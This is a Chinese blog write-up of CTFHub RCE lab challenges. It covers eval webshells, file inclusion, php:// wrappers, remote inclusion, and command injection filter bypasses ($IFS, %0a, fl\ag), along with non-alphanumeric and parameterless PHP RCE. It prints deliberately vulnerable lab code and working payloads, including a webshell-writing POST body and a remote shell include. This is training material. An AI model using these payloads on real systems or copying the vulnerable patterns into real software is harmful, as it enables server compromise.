RCE靶场 无字母数字RCE及无参RCE

  • RCE(Remote Code Execution,远程代码/命令执行)漏洞是一种高危安全缺陷,允许攻击者在目标服务器上远程执行任意系统命令或代码,通常可导致服务器被完全控制。它源于应用程序未对用户输入进行严格过滤或验证,直接拼接到系统命令或执行函数中。修复核心在于严格的输入校验、白名单机制及组件更新。

  • RCE(Remote Code Execution,远程代码执行)漏洞的核心原理是:应用程序未对用户可控的输入进行严格过滤或转义,直接将其拼接到系统命令或代码中执行,导致攻击者能够以受害服务器权限执行任意操作系统命令或脚本代码。这常见于应用调用外部函数、反序列化处理或文件上传等场景。

    RCE漏洞详细原理与成因:
    用户输入可控: 应用程序接受来自Web前端(如URL参数、POST数据、HTTP头、Cookie)的用户输入。
    不安全的数据处理: 程序未能正确过滤、转义特殊字符(如 ;, |, &, &&),直接将用户数据拼接到命令字符串中。
    敏感功能调用: 后台程序使用了能够执行系统命令或代码的危险函数(如PHP的 system(), eval(), exec();Java的 Runtime.getRuntime().exec())。
    最终执行: 攻击者提交精心构造的恶意代码/命令(例如 127.0.0.1; ls -la),服务器在系统层面上误认为这是正常指令并加以执行。

    常见类型与场景:

    • 命令注入(Command Injection): 程序直接调用 ping 等网络命令时,用户输入导致注入命令。命令注入通常因为指Web应用在服务器上拼接系统命令而造成的漏洞。

      命令注入通常因为指Web应用在服务器上拼接系统命令而造成的漏洞。

      该类漏洞通常出现在调用外部程序完成一些功能的情景下。比如一些Web管理界面的配置主机名/IP/掩码/网关、查看系统信息以及关闭重启等功能,或者一些站点提供如pingnslookup、提供发送邮件、转换图片等功能都可能出现该类漏洞。

    • 代码注入(Code Injection): 程序将用户输入作为代码的一部份执行,常见于动态函数调用。

    • 反序列化漏洞: 不安全地反序列化用户构造的序列化数据。

    • 文件上传: 允许上传包含恶意代码的脚本文件并被服务器解析。

RCE漏洞的根本原因在于信任了不可信的用户输入,将原本用于业务操作的功能接口变成了攻击者获取系统权限的通道。

靶场wp

eval执行

eval函数就是执行命令,源码中

1
2
3
4
5
6
<?php  
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
else {    highlight_file(__FILE__);
}
?>

system(): 执行外部程序(系统命令)并显示输出的函数,允许PHP脚本在服务器操作系统上执行Shell命令

eval(): PHP函数,将传入的字符串当作PHP代码来执行,可以动态执行来自外部的任意PHP代码

$_REQUEST 是一个超全局变量,它包含了通过 GETPOSTCOOKIE 方法传递的参数

isset() 函数用于检测变量是否已设置并且非 NULL

天然有执行代码,这个请求GET和POST都可以,没有请求限制

文件包含

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ?

文件内容是:

1
<?php eval($_REQUEST['ctfhub']);?>

GET提交文件就提交这里的txt以及变量ctfhub,执行命令同上

php://input

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>

phpinfo看配置环境

php://input协议写入木马

1
2
GET: ?page=php://input
POST: <?php fputs(fopen('muma.php','w'),'<?php @eval($_POST[cmd])?>');?>
  • 前提条件:allow_url_include = On
  • 原理:php://input读取POST请求的原始数据作为PHP代码执行

通过GET方式给file赋值,但是抓包下来会发现,实际上还是POST请求

依旧是先读目录再读具体文件

读取源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
flag in <code>/flag</code>

一开始就说了flag的位置在/flag,resource=/flag

目录遍历也用过,过滤原则如果是read=convert.base64-encode还要对最终结果解码

利用结构:php://filter/[过滤规则]/resource=[目标资源]

远程包含

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag?<br>
<a href="phpinfo.php">phpinfo</a>

这一关还是有phpinfo文件,并且php://input需要的配置都是可以用的

有两种解法

一种就是上一关运用到的php://input伪协议

另一种是本题的常规解法:在服务器写文件然后包含(执行远程包含也需要配置开启)

1
python -m http.server 80

包含进去就行

1
?file=http://本地ip/shell.txt

命令注入

  • Ping IP 是一种基于ICMP协议的网络诊断工具,用于测试本地主机与目标IP地址之间的连通性、网络延迟(即时延,单位为ms)以及丢包率。它通过发送回显请求并等待响应来分析网络质量、排除故障,常用于判断服务器是否开机、检查网络速度。
管道符 作用 举例
` ` 直接执行后面的语句
` `
& 前面的语句为假则执行后面的语句 ping 127.0.0.1&whoami
&& 前面的语句为假,直接出错,前面的语句为真,执行后面的语句 ping 127.0.0.1&&whoami
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
$cmd = "ping -c 4 {$_GET['ip']}";
exec($cmd, $res);
}

?>

<!DOCTYPE html>
<html>
<head>
<title>CTFHub 命令注入-无过滤</title>
</head>
<body>

<h1>CTFHub 命令注入-无过滤</h1>

<form action="#" method="GET">
<label for="ip">IP : </label><br>
<input type="text" id="ip" name="ip">
<input type="submit" value="Ping">
</form>

<hr>

<pre>
<?php
if ($res) {
print_r($res);
}
?>
</pre>

<?php
show_source(__FILE__);
?>

</body>
</html>

这里用分号隔开表示执行两个不同命令

127.0.0.1;ls目录中有看到一个源码文件和另一个php文件,cat

执行成功了,但是页面上没有回显,在源码里可以看见

过滤cat

cat被过滤了,但是有很多平替

1
less/more/head/tail/nl/od/grep/tac

其他同上

过滤空格

1
< 、<>、%20(space)、%09(tab)、\$IFS\$9、 \${IFS}、$IFS

替代很多,但是不是所有都能用

xin的wp符号应该被当成格式处理了

\$IFS\$9

127.0.0.1|cat%09

127.0.0.1|cat\$IFS\$9flag_274932799619752.php

我们使用了$IFS$9时,但$9可能没有定义,所以被替换为空字符串,那么cat$IFSflag… 会变成cat flag…,但是注意,在shell中,变量替换后,如果两个变量连在一起,中间没有分隔,那么需要将变量名用花括号括起来,否则shell可能无法正确解析。$IFS$9应该写成${IFS}${9}。

127.0.0.1|cat${IFS}flag_274932799619752.php

过滤目录分隔符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/\//", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>

<!DOCTYPE html>
<html>
<head>
<title>CTFHub 命令注入-过滤目录分隔符</title>
</head>
<body>

<h1>CTFHub 命令注入-过滤目录分隔符</h1>

<form action="#" method="GET">
<label for="ip">IP : </label><br>
<input type="text" id="ip" name="ip">
<input type="submit" value="Ping">
</form>

<hr>

<pre>
<?php
if ($res) {
print_r($res);
}
?>
</pre>

<?php
show_source(__FILE__);
?>

</body>
</html>
1
2
3
4
5
Array
(
[0] => flag_is_here
[1] => index.php
)
  • /flag 表示根目录下的名为flag的文件
  • flag_274932799619752.php 表示当前目录下的文件

就是文件夹名,所以要再往下访问一次

127.0.0.1;ls flag_is_here

看到文件名称

cat的时候还有一个目录,如果没有被过滤,就会用到/,执行的内容就是:cat flag_is_here/flag_64234154720294.php

需要连续执行内容,就是到文件夹目录下,cat文件

  • 127.0.0.1;cd flag_is_here && cat flag_64234154720294.phpcommand1 && command2表示如果命令1执行成功就执行命令2

过滤运算符

被禁用的是|&

;替换

综合过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>

<!DOCTYPE html>
<html>
<head>
<title>CTFHub 命令注入-综合练习</title>
</head>
<body>

<h1>CTFHub 命令注入-综合练习</h1>

<form action="#" method="GET">
<label for="ip">IP : </label><br>
<input type="text" id="ip" name="ip">
<input type="submit" value="Ping">
</form>

<hr>

<pre>
<?php
if ($res) {
print_r($res);
}
?>
</pre>

<?php
show_source(__FILE__);
?>

</body>
</html>

%0a换行符可以代替|;

注意url会进一步编码,要把%25变回去,改url

flag被转义了不能直接用,所以这里用的fl\ag

一般情况不行,但是这题对不分特殊符号做了删除,就可以

这里有代码处理将\删除:

1
2
//例如:假设题目有这样的"安全"处理
$input = str_replace("\", "", $_GET['input']);

那么fl\ag就会变成flag

1
127.0.0.1%0acd${IFS}fl\ag_is_here%0atac${IFS}fl\ag_166306963619.php

无数字字母RCE

学习文章

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("hacker!");
}
@eval($code);
?>

利用各种非数字字母的字符,经过各种变换(异或、取反、自增),构造出单个的字母字符,然后把单个字符拼接成一个函数名,然后就可以动态执行了

位移在PHP中是数学运算,无论是这里使用的异或还是取反,本质上都是利用的位移运算符;

PHP对运算符操作对象是字符的处理是这样描述的:

  • 如果 &、 | 和 ^ 运算符的左右两个操作对象都是字符串,将对会组成字符串的字符 ASCII 值执行操作,结果也是一个字符串。除此之外,两个操作对象都将 转换为整数 ,结果也将会是整数。
  • 如果 ~ 运算符的操作对象是字符串,则将对组成字符串的字符 ASCII 值进行操作, 结果将会是字符串,否则操作对象和结构都会是整数。
  • <<>> 运算符的操作对象和结果始终都是整数。

但是这里的问题就是,我们即使用两个字符操作出来的还是字符串,依旧在被过滤的内容中,所以就需要用别的方式考虑,哈哈哈没有我想象的那么抽象,还以为能特殊字符合成字母(?

异或

异或判断主要是0和1,T OR F的问题,所以回显的内容只有0和1,自然就想到二进制表示

异或是一个字符一个字符地比较,相同为0,不同为1,就去找异或结果是这个字符就可以

用非字母数字的来进行异或运算

例:用@!得到a

又加上对特殊字符可能会有处理,所以先url编码(十六进制+%)之后再进行异或

取反

~

通用公式:∼x=−x−1

x=−(取反结果)−1 即可得到原数。

取反的好处就是,一个字符取反就会成为另一个,不需要两个来拼接

关于取反的规则:信息技术导论有总结这个

  • 十进制转二进制(一直除以二最后对余数从下往上读)
  • 把得到的二进制补充为32位,再对数字取反(0←→1)
  • 取反结果从左往右第一位,如果是0就变成+,是1就变成-(变成,不是加上)
    1. 这里以负数为例:负数是用补码表示的,补码是原码取反+1;
    2. 不管符号,负号后跟着的就是补码,对补码-1再取反就是原码
    3. 把负号加回去

利用方式一:

  • 先对字符串进行取反,还是通过变化得到二进制那种,然后对取反结果进行url编码(由于有特殊字符),使用的时候再取反

利用方式二:

  • 利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,然后再进行一次取反操作

自增

关于自增自减的规则是这样描述的:(啊,是我学C就记得不好的东西,追着杀)

谁在前,先执行哪个

++$a:a+1,返回a

$a++:返回a,a+1

--$a:a-1,返回a

$a--:返回a,a-1

PHP沿袭的是Perl,不同于C语言(增减都是对ASCII码的改变),PHP变化时

$a = 'Z'; $a++;得到的是A

也就是说如果有A,那么就可以得到所有大写字母,如果是a,就可以得到所有的小写字母

数组(Array)中就正好有大写字母A和小写字母a,而在PHP中,如果强制连接数组和字符串的话,数组就会被强制转换成字符串,它的值就为Array,那取它的第一个子母,就拿到A了,那有了aA,相当于我们就可以拿到a-zA-Z中的所有字母了

无参RCE

无参RCE

顾名思义:没有参数,只允许函数出现,不允许函数里的参数出现

1
2
3
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
eval($_GET['code']);
}

getallheaders()

get_defined_vars()

session_id()

php函数直接读取文件

Icon
致谢名单
本作品由 LwhalE 于 2026-01-29 10:16:25 发布
作品地址:RCE靶场 无字母数字RCE及无参RCE
除特别声明外,本站作品均采用 CC BY-NC-SA 4.0 许可协议,转载请注明来自 LwhalE's blog
Logo